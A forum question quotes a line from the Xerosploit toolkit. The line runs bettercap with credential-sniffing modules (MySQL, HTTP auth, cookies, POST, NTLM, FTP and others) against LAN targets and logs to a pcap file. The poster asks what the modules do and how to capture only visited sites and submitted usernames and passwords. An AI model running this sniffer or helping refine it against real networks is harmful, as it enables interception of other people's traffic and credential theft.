linux – Need explanation on Xerosploit sniffer function code

cmd_snif = os.system ("xettercap" + target_parse + target_ips + "-P MYSQL, SNPP, DHCP, WHATSAPP, RLOGIN, IRC, HTTPS, POST, PGSQL, NNTP, DICT, HTTPAUTH, TEAMVIEWER, MAIL, SNMP, MPD, COOKIE , NTLMSS, FTP, REDIS -I "+ up_interface +" --gateway "+ gateway +" -O, --log / opt / xerosploit / xerosniff / "+ filename +" .log --sniffer-output / opt / xerosploit / xerosniff / "+ filename +" .pcap ")

quoted from line 471 of Xerosploit Github

ok guys I really need to understand this piece of code,
what is xettercap? is it a linux tool?
that's the first question, the second is

MYSQL, SNPP, DHCP, WHATSAPP, RLOGIN, IRC, HTTPS, POST, PGSQL, NNTP, DICT, HTTPAUTH, TEAMVIEWER, MAIL, SNMP, MPD, COOKIE, NT, MDS, FTP, REDIS

what are they ? if you can indicate what everyone is referred to posting on the sniff logs,
I already know 25% of them, but what should I use only if I want to see the sites visited "JUST IMPORTANT SITES" not all requests, and
POST data as user name, password entered
can you help?